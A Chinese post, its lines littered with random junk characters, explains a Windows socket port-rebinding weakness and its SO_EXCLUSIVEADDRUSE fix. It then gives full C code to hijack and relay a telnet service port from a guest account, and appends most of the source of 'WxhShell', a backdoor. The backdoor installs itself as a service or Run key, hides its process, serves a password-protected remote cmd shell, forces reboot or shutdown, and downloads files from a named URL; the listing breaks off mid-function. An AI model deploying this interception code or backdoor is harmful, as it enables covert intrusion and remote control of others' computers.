在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
0fwmQ'lW( s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
/5Aum?~ MyB&mC7Es saddr.sin_family = AF_INET;
Y,Dd}an |f), dC saddr.sin_addr.s_addr = htonl(INADDR_ANY);
C'&)""3d ~_opU(;f bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
WLl_;BgN {<&i4; 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
gY\X? I?`}h}7. 这意味着什么?意味着可以进行如下的攻击:
]&6# {I- ]-[M&i=+& 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
U-Ia$b-5! yUV0{A-q{0 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
8:=&=9% 6.
N?=R 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
-]""Jl^ ZrY#B8 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
oSVo~F ,/0Q($oz 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
S(NH# ^ y/=:F=H@w 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
H$'|hUwds% Ku;|Dz/=o 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
DUH\/<^g "Tw4'AY'P #include
X&C&DTB #include
l{b<rUh5W #include
1ocd$)B|} #include
Q{%2Npvq DWORD WINAPI ClientThread(LPVOID lpParam);
&Tz@lvOv% int main()
&\<!{Y<' {
#I>
c$dd WORD wVersionRequested;
C]S~DK1 DWORD ret;
+*u'vt? WSADATA wsaData;
rJLn=|uR BOOL val;
G!]%xFwYa SOCKADDR_IN saddr;
Zop3[- SOCKADDR_IN scaddr;
$ti*I;)h4 int err;
$cl[Qcw SOCKET s;
"FuOWI{in SOCKET sc;
lMkDLobos int caddsize;
V|6PKED HANDLE mt;
Y~I$goT DWORD tid;
'I$-h<W wVersionRequested = MAKEWORD( 2, 2 );
? :StFlie err = WSAStartup( wVersionRequested, &wsaData );
Mc8|4/<Z if ( err != 0 ) {
i4<&zj}) printf("error!WSAStartup failed!\n");
R-7.q return -1;
qY,z,oAF }
\9;SOA v saddr.sin_family = AF_INET;
eAqSY s!1 lKVy{X3]* //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
8H2zMIB !LGnh saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
2Y~UeJ_\Lq saddr.sin_port = htons(23);
G.j R if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
g)Ep'd-w" {
b5!\"v4c printf("error!socket failed!\n");
7JC^+rk return -1;
1zo0/<dk }
L >*
F8|g val = TRUE;
,E7+Z' ; //SO_REUSEADDR选项就是可以实现端口重绑定的
Y!3Mm* if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
O$dcy! {
z@70{* printf("error!setsockopt failed!\n");
tKr.{#) return -1;
WUC-*( }
Z)V m,ng //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
\VL_ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
Drn{ucIs //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
b*;zdGX.A9 O"'.n5>:` if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
]YQ!i@Y {
[{s 1=c ret=GetLastError();
=O~ J printf("error!bind failed!\n");
@M]uUL-ze return -1;
*.'9 eC0s }
YwbRzY-#F listen(s,2);
B~%'YQk while(1)
m=saUhI*9 {
oK-T@ &- caddsize = sizeof(scaddr);
$q"/q*ys //接受连接请求
\BRxdK' sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
'7'*+sgi$ if(sc!=INVALID_SOCKET)
N }$$<i2o {
L&gC mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
xgdS]Sz if(mt==NULL)
T9s$IS , {
9S<87sO printf("Thread Creat Failed!\n");
8vk*", break;
"7]YvZYu0 }
v?BVUH>#9 }
*qX! CloseHandle(mt);
\(4"kY_= }
R*"31&3le4 closesocket(s);
Z.4 vKO[< WSACleanup();
@&I7z, return 0;
LnwI 7uvq }
r Jo8| DWORD WINAPI ClientThread(LPVOID lpParam)
Lip(r3 {
/w!!jj^ SOCKET ss = (SOCKET)lpParam;
A?YU:f SOCKET sc;
Ok0zgi unsigned char buf[4096];
t;3n SOCKADDR_IN saddr;
T<jo@z1UL long num;
_f"HUKGN DWORD val;
;s^br17z~ DWORD ret;
^~p^N < //如果是隐藏端口应用的话,可以在此处加一些判断
34D7qR //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
?Aq
\Gr saddr.sin_family = AF_INET;
=XRTeIZ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
#hKaH - j saddr.sin_port = htons(23);
+#B4Z'nT if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
uVSc1MS1 {
\zdY$3z printf("error!socket failed!\n");
fGwRv%$^ return -1;
>}uDQwX8 }
W[$GB_A) val = 100;
bu2@~ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
ZaNZUVBh {
.wdWs tQ ret = GetLastError();
l[,RA?i
{ return -1;
A"Prgf
eT }
-(Zi if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
h/LlH9S:! {
Gz_[|,i ret = GetLastError();
qe/|u3I<lF return -1;
7_=7 ;PQ< }
#NvL@bH if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
Juhi#&`T {
F0D7+-9[ printf("error!socket connect failed!\n");
7])cu>/ closesocket(sc);
o 94]:$=~ closesocket(ss);
Q#h*C
ZT return -1;
ycD}7 }
z#j)uD while(1)
!{WIN%O {
bV3az/U //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
,A{'lu //如果是嗅探内容的话,可以再此处进行内容分析和记录
Uo~-^w} //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
^D}]7y|fm num = recv(ss,buf,4096,0);
`R\nw)xq if(num>0)
<=yqV]JR send(sc,buf,num,0);
ycPGv.6 else if(num==0)
$:4*?8K2 break;
l>kREfHq!{ num = recv(sc,buf,4096,0);
^&Exa6=*FT if(num>0)
fOHgz,x= send(ss,buf,num,0);
0DZ}8"2 else if(num==0)
MS=zG53y break;
H}p5qW.tH: }
{,9^k'9 closesocket(ss);
)tD[Ffvr closesocket(sc);
a*D])Lu[ return 0 ;
nYvx[
zq?^ }
y$Y*%D^w Vzmw%f)_+ &yabxl_ ==========================================================
-aV!ZODt m4r!Ck| 下边附上一个代码,,WXhSHELL
nF)XZB0F lG>,&( ==========================================================
Dus [N<
w 2BGS$$pP #include "stdafx.h"
?nwFc3qw PL}c1Ud #include <stdio.h>
<aPbKDF~V #include <string.h>
HO`N]AMw #include <windows.h>
RP9jZRDbZ #include <winsock2.h>
oR1HJ2>Z1 #include <winsvc.h>
Z+%w|Sx #include <urlmon.h>
K!cLEG!G GI
; #pragma comment (lib, "Ws2_32.lib")
)[]*Y]vSx #pragma comment (lib, "urlmon.lib")
}iE!(
l c(j|xQ\pE #define MAX_USER 100 // 最大客户端连接数
Bokpvd-c7 #define BUF_SOCK 200 // sock buffer
2|re4 #define KEY_BUFF 255 // 输入 buffer
{: H&2iF |RS(QU<QE #define REBOOT 0 // 重启
<=g{E- #define SHUTDOWN 1 // 关机
Ig{
3>vB Fs}vI~} #define DEF_PORT 5000 // 监听端口
N,?4,+Hc- |Vj@;+/j #define REG_LEN 16 // 注册表键长度
u;/5@ADW #define SVC_LEN 80 // NT服务名长度
D00v"yp%% )b7 ;w#%q // 从dll定义API
G oHdhne3 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
-KA Y typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
(=eJceE! typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
Hdxon@,+cd typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
t)__J\xF !C3ozZ< // wxhshell配置信息
*]#(?W.$w struct WSCFG {
+WTO_J7 int ws_port; // 监听端口
QrSF1y'd char ws_passstr[REG_LEN]; // 口令
>bUxb-8 int ws_autoins; // 安装标记, 1=yes 0=no
pG-9H3[f# char ws_regname[REG_LEN]; // 注册表键名
DKnlbl1^? char ws_svcname[REG_LEN]; // 服务名
XN Gw@$ char ws_svcdisp[SVC_LEN]; // 服务显示名
O>tz;RU char ws_svcdesc[SVC_LEN]; // 服务描述信息
/9o
gg char ws_passmsg[SVC_LEN]; // 密码输入提示信息
\ y}!yrQ int ws_downexe; // 下载执行标记, 1=yes 0=no
~e; 2gm char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
,CED% char ws_filenam[SVC_LEN]; // 下载后保存的文件名
BufXnMh. y8e'weK };
D~T;z pS lq_(au. // default Wxhshell configuration
C>=[fAr mO struct WSCFG wscfg={DEF_PORT,
_@L{]6P%V "xuhuanlingzhe",
TO5#iiM) 1,
N/V~>UJ0{* "Wxhshell",
!V~,aoKTj "Wxhshell",
tE(_Cg "WxhShell Service",
cME|Lg(J$ "Wrsky Windows CmdShell Service",
30fqD1_{ "Please Input Your Password: ",
(O-.^VV 1,
j#rj_ uP "
http://www.wrsky.com/wxhshell.exe",
\NF5)]: "Wxhshell.exe"
0Bn35.K };
/BQB7vL W&Xm_T[Q // 消息定义模块
+zL|j/q ? char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
DOB#PI[/ char *msg_ws_prompt="\n\r? for help\n\r#>";
(`)ZR%i char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
$_Kcm"oj char *msg_ws_ext="\n\rExit.";
r-8fvBZ5 char *msg_ws_end="\n\rQuit.";
f =T-4Of char *msg_ws_boot="\n\rReboot...";
=~P)7D6 char *msg_ws_poff="\n\rShutdown...";
m4_ZGjmJM char *msg_ws_down="\n\rSave to ";
`P
* wz< IY40d^x char *msg_ws_err="\n\rErr!";
ttd
^jT char *msg_ws_ok="\n\rOK!";
^hRx{A Wo2W/{ char ExeFile[MAX_PATH];
MJugno int nUser = 0;
4r tNvf5` HANDLE handles[MAX_USER];
y{g"w int OsIsNt;
YwU[kr-i S>;+zVF] SERVICE_STATUS serviceStatus;
K:L_y1!T SERVICE_STATUS_HANDLE hServiceStatusHandle;
H#:Aby-d} ^|UD&6 dx // 函数声明
:v B9z int Install(void);
S.R|Bwj}(Y int Uninstall(void);
q(\kCUy! int DownloadFile(char *sURL, SOCKET wsh);
:um]a70 int Boot(int flag);
n`.JI(| void HideProc(void);
{v,NNKQ4x int GetOsVer(void);
F S!D int Wxhshell(SOCKET wsl);
3,y zRb void TalkWithClient(void *cs);
.r~M7 I int CmdShell(SOCKET sock);
Qpocj: int StartFromService(void);
:x3"Cj int StartWxhshell(LPSTR lpCmdLine);
GQ\;f C+%6N@ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
}!QVcu"+t/ VOID WINAPI NTServiceHandler( DWORD fdwControl );
ksy]t| @MKf$O4K // 数据结构和表定义
HlOn=>)< SERVICE_TABLE_ENTRY DispatchTable[] =
~v6]6+ {
trz&]v=: {wscfg.ws_svcname, NTServiceMain},
^i!I0Q2yd {NULL, NULL}
z#*>u };
L>&9+<-B xQDWnpFc // 自我安装
#+8G` int Install(void)
jidRh}>a= {
q$'D}OH T char svExeFile[MAX_PATH];
PVaqKCj:6W HKEY key;
_6.Y3+7I strcpy(svExeFile,ExeFile);
4 u=v w5`EJp8MC // 如果是win9x系统,修改注册表设为自启动
0]xp"xOwW if(!OsIsNt) {
x7!gmbMfK' if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
O,Ej m<nt RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
9`td_qh RegCloseKey(key);
.`jYrW-k if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
heScIe
N^` RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
X16vvsjw5 RegCloseKey(key);
{ObUJ3 return 0;
+-NH
4vUg }
@a (-U.CZ }
-5Oy k, }
/vs79^& else {
y\_k8RqE^ e2kW,JV/<$ // 如果是NT以上系统,安装为系统服务
qIwsK\^p SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
>%LY0(hY3 if (schSCManager!=0)
yof8L WXx {
YySo%\d SC_HANDLE schService = CreateService
Z8`Y}#Za [ (
Ey)ey-'\ schSCManager,
1 %8JMq\ wscfg.ws_svcname,
0ax;Q[z2 wscfg.ws_svcdisp,
&qP0-x) SERVICE_ALL_ACCESS,
sh*/wM SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
KNjU!Z/4 SERVICE_AUTO_START,
zEt!Pug SERVICE_ERROR_NORMAL,
9XhcA svExeFile,
Q5HSik4 NULL,
aSMoee@! NULL,
'Pxq>Os NULL,
kK:U+`+ NULL,
q6}KOO) NULL
]f>0P3O5& );
" s}Oeu[ if (schService!=0)
EiVVVmm! {
$HCgawQ CloseServiceHandle(schService);
(4|R}jv CloseServiceHandle(schSCManager);
tIS.,CEQF strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
5+UNLvsZ strcat(svExeFile,wscfg.ws_svcname);
DFvGc`O4 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
7^syu;DT9Y RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
pj$kSS|m6- RegCloseKey(key);
U4qk<! return 0;
fZcA{$Vc]N }
I&`aGnr^^ }
^^F 8M0k3 CloseServiceHandle(schSCManager);
Mh
MXn;VKj }
GK;IY=8W }
F\^\,hy Bg}l$?S return 1;
FY`t7_Y?GV }
2.vmZaKP Tv6y+l // 自我卸载
vK`HgRQ(C int Uninstall(void)
\XwC |[%P {
RR'sW@ HKEY key;
pe<T"[X G"tlJ7$myQ if(!OsIsNt) {
IZ\fvYp if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
OCq5}%yU&i RegDeleteValue(key,wscfg.ws_regname);
f( Dtv RegCloseKey(key);
~ch%mI~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
zR<fz RegDeleteValue(key,wscfg.ws_regname);
A\W)uwyN RegCloseKey(key);
.(.< return 0;
qy)~OBY }
KXK5\#+L }
n=C"pH# }
"t(_r@qU/ else {
@sA!o[gH X!^|Tass SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
FX|&o>S(8 if (schSCManager!=0)
\3^ue0 {
~'KqiUY SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
#Gg^QJ* if (schService!=0)
?_^{9q%9 {
lV%1I@[M if(DeleteService(schService)!=0) {
B 5|\<CF CloseServiceHandle(schService);
, >S7c CloseServiceHandle(schSCManager);
^PezV5( return 0;
4}v|^_x-i }
`HkNO@N[ CloseServiceHandle(schService);
URrx7F98 }
usD@4!PoA CloseServiceHandle(schSCManager);
ix4]^ }
_3yG<'f[Y }
bNVeL$' 9yC22C: return 1;
fM4B.45j }
:vG0 l\ -HQbvXAS // 从指定url下载文件
79W^;\3 int DownloadFile(char *sURL, SOCKET wsh)
o25rKC=o {
iI";m0Ny HRESULT hr;
+|,4g_(j char seps[]= "/";
DJ:'<"zH7 char *token;
3yKmuu! char *file;
eOE*$pH char myURL[MAX_PATH];
~BmA!BZV` char myFILE[MAX_PATH];
zZ8 *a\ *??lwvJp strcpy(myURL,sURL);
SI+Uq(k token=strtok(myURL,seps);
4A!]kj5T while(token!=NULL)
c Pf_B= {
p|ink): file=token;
qGV_oa74 token=strtok(NULL,seps);
h7UNmwj }
fyb;*hgu nOL"6%q GetCurrentDirectory(MAX_PATH,myFILE);
2.Qz"YDh
= strcat(myFILE, "\\");
'6 F-% strcat(myFILE, file);
$0E+8xE send(wsh,myFILE,strlen(myFILE),0);
c_D(%Vf5 send(wsh,"...",3,0);
hcj}6NXc hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
*kl :/# if(hr==S_OK)
.PUp3X- return 0;
o'!=x$Ky else
k6;bUOo return 1;
SXm%X(JU a,c!#iyl3 }
hu.o$sV3; VWvSt C // 系统电源模块
J{1H$[W~} int Boot(int flag)
GBbnR:hM {
zXn-E HANDLE hToken;
DVL-qt\;n TOKEN_PRIVILEGES tkp;
,KW
Q
6 k||t<&`Ze if(OsIsNt) {
W-=6:y#A OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
&vpKBR^ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
`GCoi ?n7 tkp.PrivilegeCount = 1;
27e!KG[& tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
{_O!mI* AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
.:r~?$( if(flag==REBOOT) {
'BjTo*TB]Z if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
) CP return 0;
}'$PYAf6 }
4N,mcV else {
R-13DVK if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
FmL]|~ return 0;
*j%x }
vwU1}H }
KUAzJ[> else {
faDSyBLo if(flag==REBOOT) {
h+FM?ct6} if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
7Q}pKq]P return 0;
#Vq9 =Q2 }
o$rjGa l else {
/,Xl8<~# if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
]ordqulq1 return 0;
h Jb2y`,q }
*;o%*: }
CJ IuMsZ 8D='N`cN+ return 1;
fjh|V9H }
P!eo#b^S ,QY$:f< // win9x进程隐藏模块
>
N~8#C void HideProc(void)
g4IF~\QRVi {
EhcJE;S) $TI^8 3 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
qs5>`skX if ( hKernel != NULL )
Yj/afn(Jt {
VI0wul~M pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
i(}PrA
( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
~KBa-i%o FreeLibrary(hKernel);
(%my:\>l }
{M]_]L{&7 ?d7,0Ex
P return;
zBF~:Uc`B }
ge~@}iO@ U'fP // 获取操作系统版本
U\KMeaF5e- int GetOsVer(void)
3gA %Q`" {
aZFpt/.d OSVERSIONINFO winfo;
a>wCBkD winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
m{\
&
k GetVersionEx(&winfo);
_olQ;{ U: if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
x/*lNG/ return 1;
w'S,{GW else
I652Fcj return 0;
uO%0rKW }
%~u]|q<{ |cvU2JI@ // 客户端句柄模块
d)o5JD/ int Wxhshell(SOCKET wsl)
GAz-yCJp {
lSxb:$g SOCKET wsh;
Rs %`6et}\ struct sockaddr_in client;
uYh!04u DWORD myID;
USg"wJY eV9U+]C` while(nUser<MAX_USER)
UcRP/LR%C {
FK%b@/7s~ int nSize=sizeof(client);
W }NUU wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
Pfd1[~, if(wsh==INVALID_SOCKET) return 1;
$O"ss>8Se c+Q'4E0| handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
~6G
`k^!
if(handles[nUser]==0)
c;l!i- closesocket(wsh);
Fr9/TI else
-l^<[% nUser++;
>)>f~ > }
-F 5BJk WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
Jw)JV~/0 \DB-2*a" return 0;
J9^NHU }
;%tFi #:K=zV\ // 关闭 socket
ohx[_}xN void CloseIt(SOCKET wsh)
Y|Iq~Qy~ {
f ,F X# _4 closesocket(wsh);
(3Db}Hnn nUser--;
I^NDJdxd ExitThread(0);
DT-VxF6 h }
6^`iuC5 H 4<"+7 // 客户端请求句柄
zakhJ void TalkWithClient(void *cs)
HD j6E" {
?cU,%<r -3K h
>b) SOCKET wsh=(SOCKET)cs;
I)HO/i6>3 char pwd[SVC_LEN];
Kz HYh char cmd[KEY_BUFF];
\Kl20? char chr[1];
?ZF):}rvZ int i,j;
VotC YJ \"lz,bT while (nUser < MAX_USER) {
GppCrQ%Ra| c(Q@5@1y: if(wscfg.ws_passstr) {
Dqy`7?Kn if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
8^7Oc,:~ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
dN8Mfa) //ZeroMemory(pwd,KEY_BUFF);
RQVu~7d[ i=0;
4fLRl-) while(i<SVC_LEN) {
HNzxFnh : auR0FE // 设置超时
qBEp |V fd_set FdRead;
#GzALF97 struct timeval TimeOut;
QiK>]xJ' FD_ZERO(&FdRead);
?sN{U\ FD_SET(wsh,&FdRead);
atL<mhRz TimeOut.tv_sec=8;
X%Ok "> TimeOut.tv_usec=0;
$n<a`PdH int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
xo>0j# if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
DbGS]k<$ c^}y9% 4c if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
,54z9F` pwd
=chr[0]; :i.@d?
if(chr[0]==0xd || chr[0]==0xa) { z8\YMr6o
pwd=0; 4BCPh:
break; j=r1JV
@
} Af3|l
i++; *,\v|]fc
} ]$smFF
VLuHuih
// 如果是非法用户,关闭 socket adLL7
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); s9Hxiw@D
} C4+DZ<pE
5kGniG?T#
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); {&5lZ<nu8A
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }c/p;<
8(1*,CJQg
while(1) { 1!z{{H;W
;Y7'U rn
ZeroMemory(cmd,KEY_BUFF); U1 _"D+XB
$|K:
9
// 自动支持客户端 telnet标准 hRf
l\Q[
j=0; u)oAQ<w
while(j<KEY_BUFF) { L
FWp}#%
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); h/EIFve
cmd[j]=chr[0]; WvfP9(-
if(chr[0]==0xa || chr[0]==0xd) { b A+_/1C
cmd[j]=0; ~?\U];l
break; [)"\Aq
} NLy4Z:&{
j++; g+#<;Gbpe
} 'z|Da &d P
q`xc h[H
// 下载文件 +|/0sPW(
if(strstr(cmd,"http://")) { &gCGc?/R#
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ebBi zc=
if(DownloadFile(cmd,wsh)) j_<qnBeQ
send(wsh,msg_ws_err,strlen(msg_ws_err),0); T5:Q_o]
else =u2 z3$
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +[76 _EXy
} OAXA<
else { o`YBz~2
NBk0P*SI
switch(cmd[0]) { N<Sl88+U
MG?,,8s O
// 帮助 7yE\,
case '?': { 0YiTv;mq;
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); xJ>5 ol
break; =Kj{wA
O
} }m+Q(2
// 安装 )U~|QdZ
case 'i': { aM~IRLmK
if(Install()) U'=8:&
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2;gvo*k
else ]'5Xjcx
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {Z2nc)|7C
break; t4oD> =,92
} +jhzE%
// 卸载 {0,b[
case 'r': { gvI!Ice#
if(Uninstall()) F0!Z1S0g
send(wsh,msg_ws_err,strlen(msg_ws_err),0); I8XP`Ccq
else .57p4{
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C>|.0:[%
break; e@P(+.Ke
} '&cH,yc;b
// 显示 wxhshell 所在路径 {py%-W
case 'p': { V1'otQH2l
char svExeFile[MAX_PATH]; SZH`-xb!+5
strcpy(svExeFile,"\n\r"); sJL Oz>
strcat(svExeFile,ExeFile);
D('.17
send(wsh,svExeFile,strlen(svExeFile),0); 0`"oR3JY
break; XP)^81i|
} *v%y;^{k[/
// 重启 1["i,8zB
case 'b': { _0+X32HjJ
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4s7
RB
if(Boot(REBOOT)) p6%V f
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6 J>A U
else { JU17]gQ
closesocket(wsh); KO" /
ExitThread(0); )
A:h
} {wC*61@1
break; =!t;e~^8]
} Cn/WNCzst&
// 关机 H$Kc~#=
case 'd': { nF'YG+;|@
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); m\qeYI6, Z
if(Boot(SHUTDOWN)) igo9~.
send(wsh,msg_ws_err,strlen(msg_ws_err),0); SVo ?o|<
else { WO.u{vW]'
closesocket(wsh); j{lurb)y
ExitThread(0); l WYp
} d3:GmB .
break; Xr
<H^X
} fJlNxdVr
// 获取shell c*r H^Nz
case 's': { QdgJNT<=H,
CmdShell(wsh); #csP.z3^y
closesocket(wsh); _Z(t**Zh6y
ExitThread(0); b$klm6nMvm
break; 9:p-F+
} O2 >c|=#
// 退出 E[t0b5h
case 'x': { Imv#7{ndq
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); rnZ$Qk-H
CloseIt(wsh); )I&.6l!#
break; e ymv/
} $A?9U}V#^
// 离开 7(1`,Y
case 'q': { {R ),7U8
send(wsh,msg_ws_end,strlen(msg_ws_end),0); Nbr$G=U
closesocket(wsh); V~/G,3:0y%
WSACleanup(); Bh&pZcm|
exit(1); '?Dxe
B
break; T)gulP
} ^OiL&p;r
} J-
S.m(
} Uuy$F
%]Z4b;W[Y
// 提示信息 xoo,}EY
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?C[?dg{n
} D#LV&4e>.E
} @#4-4.6I<x
?zBu`7j
return; J>
} nx'c=gp
upuN$4m&{
// shell模块句柄 ;+wB!/k,
int CmdShell(SOCKET sock) o=YOn&@%
{
}>hn
STARTUPINFO si; ."+lij=56
ZeroMemory(&si,sizeof(si)); m'NAM%$}J
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {K.H09Y
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 7Jlkn=9e:
PROCESS_INFORMATION ProcessInfo; !uGfS' Vl
char cmdline[]="cmd"; V^,gpTyv*
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); y`va6 %u{
return 0; +b-ON@9]J`
} P{9:XSa%
Z
i6s0Uck
// 自身启动模式 c;kU|_
int StartFromService(void) :gV~L3YW5
{ (S!UnBb&
typedef struct ARu_S
B
{ B!/kC)bF:
DWORD ExitStatus; D<J'\mo
DWORD PebBaseAddress; SxYz)aF~
